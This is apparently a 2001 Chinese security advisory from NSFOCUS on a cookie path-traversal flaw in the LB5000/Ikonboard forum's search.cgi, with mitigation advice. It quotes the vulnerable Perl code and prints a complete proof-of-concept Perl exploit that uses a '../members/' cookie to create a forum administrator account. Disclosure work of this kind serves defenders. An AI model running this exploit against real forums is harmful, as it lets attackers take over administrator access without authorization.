首页 -> 安全研究

安全研究

安全漏洞
LB5000 Cookie 过滤漏洞

发布日期:2001-10-30
更新日期:2001-11-02

受影响系统:

LB5000II v1029 以前所有版本
Ikonboard.com ikonboard 2.1.0
Ikonboard.com ikonboard 2.1.7
Ikonboard.com ikonboard 2.1.8
Ikonboard.com ikonboard 2.1.9
描述:

BUGTRAQ ID: 3486

LB5000是国内流行的Perl CGI论坛,是在Ikonboard的基础上改的。其中
“search.cgi”存在安全问题,允许攻击者在任意Web可写目录中创建文件。

这是由于“search.cgi”没有对用户提交的变量进行严格过滤的结果,问题代码如下:

---[L.59-60]---
$inmembername     = $query->cookie("amembernamecookie");
$filename = $inmembername;

---[L.71-]---
$searchfilename = "$lbdir" . "search/$filename";

---[L.134-140]---
open (SEARCH, ">$searchfilename") or die "不能够保存到 search 目录,请设置此
目录为 777 !";

print SEARCH "$CUR_TIME\n";
print SEARCH "$SEARCH_STRING\n";
print SEARCH "$TYPE_OF_SEARCH\n";
print SEARCH "$REFINE_SEARCH\n";
print SEARCH "$FORUMS_TO_SEARCH\n";
close (SEARCH);

<*来源:(chenjun@netguard.com.cn
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=100446455809273&w=2
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


analysist (analysist@nsfocus.com)提供了如下测试代码:

#!/usr/bin/perl
#Proof of Concept
#LB5K search.cgi exploit
#Codz by analysist <analysist@nsfocus.com>

use Socket;

$ARGC = @ARGV;
if ($ARGC != 2) {
    print "Usage: $0 <host> <port>\n";
    exit(1);
}

$host = shift;
$port = shift;

#you may need to change it?
$user = "admin";

$req = "GET
/LB5000/cgi-bin/search.cgi?action=startsearch&CUR_TIME=$user%5fsch%09c40p%09
member%09ad&SEARCH_STRING=i&NAME_SEARCH=really&TYPE_OF_SEARCH=love&POST_SEAR
CH=analysist&FORUMS_TO_SEARCH=:) HTTP/1.1\r\n".
       "Host: $host\r\n".
       "Accept: */*\r\n".
       "Cookie: amembernamecookie=../members/$user\n\n";

@res = sendraw($req);

if ($res[0] =~ /HTTP\/1\.1 200 OK/ig) {
    print "Ok,创建管理员帐号".$user."_sch成功!\n";
}

#modified from rfp's script!:)
sub sendraw {
    my ($req) = @_;
    my $target;
    $target = inet_aton($host) || die("inet_aton problems");
    socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket
problems\n");
    if(connect(S,pack "SnA4x8",2,$port,$target)){
        select(S);
$| = 1;
        print $req;
my @res = <S>;
        select(STDOUT);
close(S);
        return @res;
    }
    else {
die("Can't connect...\n");
    }
}


建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时去掉“search.cgi”的执行权限

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.leoboard.com/download.htm


浏览次数:3841
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障